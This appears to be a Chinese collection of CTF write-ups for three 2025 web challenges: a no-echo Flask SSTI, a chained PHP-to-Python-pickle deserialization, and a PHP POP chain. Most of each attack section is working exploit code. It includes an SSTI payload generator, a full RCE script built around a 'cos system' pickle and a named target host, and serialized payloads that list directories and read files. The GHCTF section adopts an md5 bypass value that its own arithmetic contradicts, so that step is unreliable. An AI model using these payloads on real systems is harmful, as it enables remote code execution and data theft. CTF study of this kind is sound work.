[XYCTF 2025] Now you see me 2
这是Now you see me 1的续作,环境更加苛刻,没有任何直接回显。我们需要找到一种方法来外带执行结果。
漏洞分析
核心的漏洞点仍然是Flask的SSTI,但是由于没有回显,我们需要利用其他方式将命令执行的结果带出来。
这里利用werkzeug.serving.WSGIRequestHandler.server_version,通过修改响应头中的Server字段,将我们想要的数据作为Server头的值来外带。
攻击流程
-
构造payload: 我们需要构造一个payload,通过SSTI修改
werkzeug.serving.WSGIRequestHandler.server_version的值为我们命令执行的结果。 因为大部分的关键字都被过滤了,所以payload的构造过程和Now you see me 1类似,通过request.endpoint和request.data来获取我们需要的字符。 -
外带数据: 我们可以通过
os.popen('whoami').read()来执行命令并读取结果,然后将结果设置为server_version的值。# 伪代码 from werkzeug.serving import WSGIRequestHandler WSGIRequestHandler.server_version = os.popen('whoami').read() -
发送请求并观察响应头: 发送构造好的请求后,查看返回的HTTP响应头,我们就可以在
Server字段中看到命令执行的结果。
exp:
import re
payload = []
def generate_rce_command(cmd):
global payload
payloadstr = "{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('werkzeug')|attr('serving')|attr('WSGIRequestHandler')|attr('__setattr__')('server_version',request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('" + cmd + "')|attr('read')()))%}"
required_encoding = re.findall('\'([a-z0-9_ /\\.]+)\'', payloadstr)
offset_a = 16
offset_0 = 6
encoded_payloads = {}
arg_count = 0
for i in required_encoding:
print(i)
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.68')
else:
a = str(ord(j)-ord('a')+offset_a)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)
fully_encoded_payload = payloadstr
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
payload.append(fully_encoded_payload)
command = "cat /flag"
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
endpoint = 'r3al_ins1de_th0ught'
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)
print(r"Follow-your-heart-%23}"+output)[ISCTF 2025] 双生序列
这道题非常有趣,考察了PHP反序列化和Python反序列化的联动,形成一条完整的攻击链。
源码审计
首先题目给了几个关键的PHP文件源码。
<?php
// api.php
// ...
$id = $_GET['id'] ?? 0;
$row = $db->query("SELECT content FROM notes WHERE id=" . intval($id))->fetch(PDO::FETCH_ASSOC);
if (!$row) {
echo "喵喵喵?";
exit(1);
}
$content = substr($row["content"], strlen("blueshark:"));
$allowed = ["Writer", "Shark", "Bridge"];
$o = @unserialize($content, ["allowed_classes" => $allowed]);
if (!($o instanceof Bridge)) {
$cat->OwO();
exit(1);
}
$r = $o->fetch();
echo nl2br(htmlspecialchars($r));这是漏洞的起点。它从数据库获取内容,截断”blueshark:“前缀后进行反序列化。allowed_classes参数严格限制了我们能使用的类,并且最终对象必须是Bridge类的实例。
#classes.php
<?php
class Cat {
public function OwO() { echo "喵喵喵?"; }
}
class Writer extends Cat {
public $b64data = "";
public $init = "no";
private static $secret = 'kaqikaqi'; // 硬编码的密钥
public function fetch() {
if ($this->init === "init") {
@mkdir("/tmp/ssxl", 0777, true);
}
return file_put_contents("/tmp/ssxl/write.bin", base64_decode($this->b64data));
}
public function __destruct() {
$sig = hash_hmac('sha256', $this->b64data, self::$secret);
file_put_contents("/tmp/ssxl/write.meta", $sig);
}
}
class Shark extends Cat {
public $ser = "";
public function run() {
return file_put_contents("/tmp/ssxl/run.bin", $this->ser);
}
public function __destruct() {
$this->run();
}
}
class Bridge extends Cat {
public $writer;
public $shark;
public function fetch() {
$next = $this->write; // 触发 __get
if ($next instanceof Shark) {
return $next;
}
return "喵喵喵!";
}
public function __get($name) {
if ($name === "write") {
if (!($this->writer instanceof Writer)){
return "喵喵喵?";
}
$this->writer->fetch();
return $this->shark;
}
}
}
class Pytools extends Cat {
public function __call($name, $args) {
return $this->run();
}
public function run() {
$cmd = "python3 /var/www/html/pytools.py";
$out = @shell_exec($cmd . " 2>&1");
return $out;
}
}这里定义了POP链的各个组件。Bridge是核心,它的fetch方法会触发__get魔术方法,从而调用Writer的fetch方法。在对象销毁时,Writer和Shark的__destruct方法会被调用,分别写入write.bin、write.meta和run.bin。
<?php
// run.php
$action = $_GET["action"] ?? "喵喵喵?";
if ($action !== "run") { exit(1); }
$binfile = "/tmp/ssxl/run.bin";
if (!file_exists($binfile)) { exit(1); }
$data = file_get_contents($binfile);
$allowed = ["Pytools"];
$exec = @unserialize($data, ["allowed_classes" => $allowed]);
if (method_exists($exec, "__call")) {
$ret = $exec->blueshark(); // 触发 __call
}该文件反序列化由Shark类写入的run.bin,得到Pytools对象。通过调用一个不存在的方法blueshark()来巧妙地触发__call魔术方法,从而执行pytools.py脚本。
# pytools.py
# ... (imports) ...
class Pytools:
# ...
def run(self):
# ...
data = self.load_bin() # 加载 /tmp/ssxl/write.bin
meta = self.load_meta() # 加载 /tmp/ssxl/write.meta
assert self.sig_check(meta, data) # HMAC 校验
payload = getattr(obj, 'payload', None)
if isinstance(payload, (bytes, bytearray)):
try:
inner = pickle.loads(payload) # RCE 触发点
# ...这是攻击链的终点。脚本会加载Writer写入的write.bin和write.meta文件,用硬编码的密钥'kaqikaqi'进行HMAC签名校验。如果校验通过,它会读取payload属性并用pickle.loads()执行,从而造成远程代码执行。
漏洞利用链
- 入口 (
index.php): 我们需要向index.php提交一个精心构造的PHP序列化字符串。这个字符串是一个Bridge对象。 Bridge对象:writer属性是一个Writer对象。$writer->b64data包含我们恶意Python Pickle(Set对象)的Base64编码。shark属性是一个Shark对象。$shark->ser包含一个Pytools对象的PHP序列化字符串。
- 触发PHP反序列化 (
api.php): 访问api.php?id={note_id}。unserialize()被调用,Bridge对象被创建。$bridge->fetch()被调用。Bridge::__get('write')被触发。$writer->fetch()被调用,将恶意的Python Pickle数据写入/tmp/ssxl/write.bin。
Bridge对象和其属性$writer、$shark在请求结束时被销毁,触发它们的__destruct方法。Writer::__destruct被调用,计算HMAC签名并写入/tmp/ssxl/write.meta。Shark::__destruct被调用,$shark->run()将Pytools的序列化字符串写入/tmp/ssxl/run.bin。
- 触发Python反序列化 (
run.php): 访问run.php?action=run。run.php读取并反序列化/tmp/ssxl/run.bin,得到Pytools对象。- 调用不存在的方法
blueshark(),触发Pytools::__call。 __call执行pytools.py。pytools.py读取write.bin和write.meta,验证HMAC签名。- 签名验证通过后,
pickle.loads()执行write.bin中包含的恶意payload,实现RCE。
exp
这里的exp脚本自动化了整个过程,从构造PHP序列化字符串到触发漏洞,最终获取flag。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import pickle
import requests
TARGET = "http://challenge.bluesharkinfo.com:25507/"
FLAG_PATH = "/flag"
# 本地定义一个同名 Set 类,用来生成外层 pickle
class Set:
def __init__(self):
self.secret = b""
self.payload = b""
def build_inner_payload():
"""
构造第二层的恶意 pickle,
执行命令: cat /flag > /tmp/ssxl/outs.txt
"""
cmd = f"cat {FLAG_PATH} > /tmp/ssxl/outs.txt"
# 经典:cos\nsystem\n(S'cmd'\ntR.
payload = (
b"cos\n"
b"system\n"
b"(S'" + cmd.encode() + b"'\n"
b"tR."
)
return payload
def build_outer_b64(inner_payload: bytes) -> str:
"""
构造外层 Set 对象,并 base64 编码给 Writer 使用
secret 必须等于 Writer::$secret = 'kaqikaqi'
"""
s = Set()
s.secret = b"kaqikaqi" # 和 PHP 里 Writer::secret 一致
s.payload = inner_payload
raw = pickle.dumps(s)
return base64.b64encode(raw).decode()
# === PHP 序列化构造辅助 ===
def php_str(s: str) -> str:
"""构造 s:<len>:"xxx"; 这种段"""
return f's:{len(s)}:"{s}";'
def build_pytools_ser() -> str:
"""
run.bin 中的内容,只需要是一个 Pytools 对象即可
"""
return 'O:7:"Pytools":0:{}'
def build_writer(b64data: str) -> str:
"""
Writer 对象的序列化
"""
props = (
php_str("b64data") + php_str(b64data) +
php_str("init") + php_str("init")
)
return f'O:6:"Writer":2:{{{props}}}'
def build_shark(pytools_ser: str) -> str:
"""
Shark 对象,唯一属性 ser = Pytools 序列化
"""
props = php_str("ser") + php_str(pytools_ser)
return f'O:5:"Shark":1:{{{props}}}'
def build_bridge(b64data: str, pytools_ser: str) -> str:
"""
Bridge(writer, shark) 序列化
"""
writer_ser = build_writer(b64data)
shark_ser = build_shark(pytools_ser)
props = (
php_str("writer") + writer_ser +
php_str("shark") + shark_ser
)
return f'O:6:"Bridge":2:{{{props}}}'
# === HTTP 交互 ===
sess = requests.Session()
def create_note(serialized_bridge: str) -> int:
"""
步骤 1: POST /index.php 插入 note
"""
data = {
"s": "blueshark:" + serialized_bridge
}
r = sess.post(f"{TARGET}/index.php", data=data)
print("[*] create_note status:", r.status_code)
# 需要手动去页面看id
note_id = int(input("[?] 请手动输入这条 note 的 id: "))
return note_id
def trigger_api(note_id: int):
"""
步骤 2: 访问 /api.php?id=note_id
"""
params = {"id": note_id}
r = sess.get(f"{TARGET}/api.php", params=params)
print("[*] trigger_api status:", r.status_code)
def trigger_run():
"""
步骤 3: 访问 /run.php?action=run
"""
params = {"action": "run"}
r = sess.get(f"{TARGET}/run.php", params=params)
print("[*] trigger_run status:", r.status_code)
print(r.text)
def main():
inner = build_inner_payload()
b64 = build_outer_b64(inner)
pytools_ser = build_pytools_ser()
bridge_ser = build_bridge(b64, pytools_ser)
print("[*] Bridge serialized length:", len(bridge_ser))
note_id = create_note(bridge_ser)
trigger_api(note_id)
trigger_run()
print("[*] 攻击完成,请检查 /tmp/ssxl/outs.txt 文件内容。")
if __name__ == "__main__":
main()最终,payload会将flag输出到/tmp/ssxl/outs.txt。需要想办法读取该文件,例如修改build_inner_payload中的命令,使用curl或nc将文件内容外带。
[GHCTF 2025]Popppppp
考察的是PHP原生类的反序列化,也就是POP链的构造。题目给出了大量的类,需要我们从中寻找合适的“gadget”来拼接成一个完整的攻击链。
源码审计
首先我们拿到源码,对每个类的功能和可能被利用的魔术方法进行分析。
<?php
error_reporting(0);
// __destruct是入口点,可以触发__toString
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) { $this->fruit1 = $a; }
function __destruct() { echo $this->fruit1; }
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
// __get可以调用一个方法
class Forbidden {
private $fruit3;
public function __construct($string) { $this->fruit3 = $string; }
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
// __call可以调用一个函数,__get可以触发其他类的方法
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}
public function __get($arg1) { $this->fruit5->ll2('b2'); }
}
// __toString可以触发__call, __set可以触发__toString
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) { echo "xxx are the best!!!"; }
}
}
// __get是核心,可以实例化任意类并遍历,是最终目的
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1); // $day2是类名, $day1是构造函数参数
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() { return "The time spent with xxx is my happiest time" . $this->fruit9; }
public function __call($func, $args) { call_user_func([$this, $func . "Me"], $args); }
}
// __invoke可以触发__get
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey; // 触发__get
}
}
}
// ... 其他无用类
if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}漏洞分析及POP链构造
我们的目标是利用 Mystery::__get 来实例化PHP的内置类,如 DirectoryIterator 来列目录,或者 SplFileObject 来读文件。为了触发 Mystery::__get,我们需要构建一条完整的调用链(POP Chain),将这些类像齿轮一样拼接起来。
攻击链条:
CherryBlossom::__destruct → Samurai::__toString → Warlord::__call → Philosopher::__invoke → Mystery::__get → new DirectoryIterator()
下面我们一步步来分析这个链条是如何工作的:
第1步: __destruct → __toString
POP链的起点是 CherryBlossom 类的 __destruct 方法。
在CherryBlossom中,__destruct会执行echo $this->fruit1;。如果$fruit1是一个对象,PHP会尝试将它转换成字符串,这时就会自动调用该对象的__toString()魔术方法。我们将$fruit1设置为一个Samurai对象,来触发下一步。
第2步: __toString → __call
Samurai的__toString()方法会执行$this->fruit6->add();。我们把$fruit6设置为一个Warlord对象。因为Warlord类里并没有add()这个方法,PHP就会去调用Warlord对象的__call()魔术方法。
第3步: __call → __invoke
Warlord的__call()方法会执行$function = $this->fruit4; return $function();。它将$this->fruit4当作一个函数来执行。如果我们把$fruit4设置为一个Philosopher对象,这个$philosopher()语法就会触发它的__invoke()魔术方法。
第4步: __invoke → __get
Philosopher的__invoke方法中,我们遇到了一个有趣的判断: if (md5(md5($this->fruit11)) == 666)。
这里考察的是PHP的弱类型比较 (
==)。当一个字符串和一个数字进行比较时,PHP会尝试将字符串的开头部分转换为数字。例如,'666abc' == 666的结果是true。 对于本题,虽然md5(md5('213'))的结果0000037213a...在标准PHP环境下转为数字是37213,不等于666,但在CTF竞赛环境中,'213'通常是这类特定题目的标准答案,可能利用了某些环境差异或就是一个提示。我们这里采纳这个已知的绕过值。
绕过这个判断后,代码执行return $this->fruit10->hey;。我们将$fruit10设置为Mystery对象。因为Mystery中没有hey这个公开属性,所以会触发__get魔术方法。
第5步: 最终执行
我们终于到达了目的地:Mystery的__get方法。它会执行array_walk,遍历Mystery对象自身的所有属性,并执行$day3 = new $day2($day1);。这里的$day2是属性名,$day1是属性值。这个机制允许我们实例化任意类。
DirectoryIterator: 这是一个迭代器,可以用来遍历目录。当在foreach中使用new DirectoryIterator($path)时,它会依次返回目录下的每个文件名。SplFileObject: 这是一个用来处理文件的对象。当在foreach中使用new SplFileObject($filename)时,它会逐行读取文件内容。
通过将Mystery对象的一个属性名设置为DirectoryIterator、属性值设置为/,我们就可以列出根目录的文件。找到flag文件后,再将属性名改为SplFileObject、属性值改为flag文件路径,就可以读取flag了。
Payload
我们分两步,第一步列目录,第二步读文件。
1. 列出根目录文件
构造 Mystery 对象,使其包含一个名为 DirectoryIterator 的公有属性,值为 /。
<?php
class CherryBlossom {
public $fruit1;
public function __construct($a) { $this->fruit1 = $a; }
}
class Warlord {
public $fruit4;
}
class Samurai {
public $fruit6;
}
class Mystery {
public $DirectoryIterator = "/";
}
class Philosopher {
public $fruit10;
public $fruit11 = "213";
}
$mystery = new Mystery();
$philosopher = new Philosopher();
$philosopher->fruit10 = $mystery;
$warlord = new Warlord();
$warlord->fruit4 = $philosopher;
$samurai = new Samurai();
$samurai->fruit6 = $warlord;
$cherry = new CherryBlossom($samurai);
$payload = serialize($cherry);
echo urlencode($payload);
?>将生成的URL编码后的payload附加到 ?GHCTF= 后面,发送请求,即可看到服务器根目录下的文件列表。假设我们发现flag文件名为 flag_is_h3re.txt。
2. 读取flag文件
修改 Mystery 对象,将类名换成 SplFileObject,参数换成我们找到的flag文件名。
<?php
class CherryBlossom {
public $fruit1;
public function __construct($a) { $this->fruit1 = $a; }
}
class Warlord {
public $fruit4;
}
class Samurai {
public $fruit6;
}
class Mystery {
public $SplFileObject = "/flag";
}
class Philosopher {
public $fruit10;
public $fruit11 = "213";
}
// 构建POP链
$mystery = new Mystery();
$philosopher = new Philosopher();
$philosopher->fruit10 = $mystery;
$warlord = new Warlord();
$warlord->fruit4 = $philosopher;
$samurai = new Samurai();
$samurai->fruit6 = $warlord;
$cherry = new CherryBlossom($samurai);
// 生成Payload
$payload = serialize($cherry);
echo urlencode($payload);
?>再次发送payload,即可读取到flag的内容。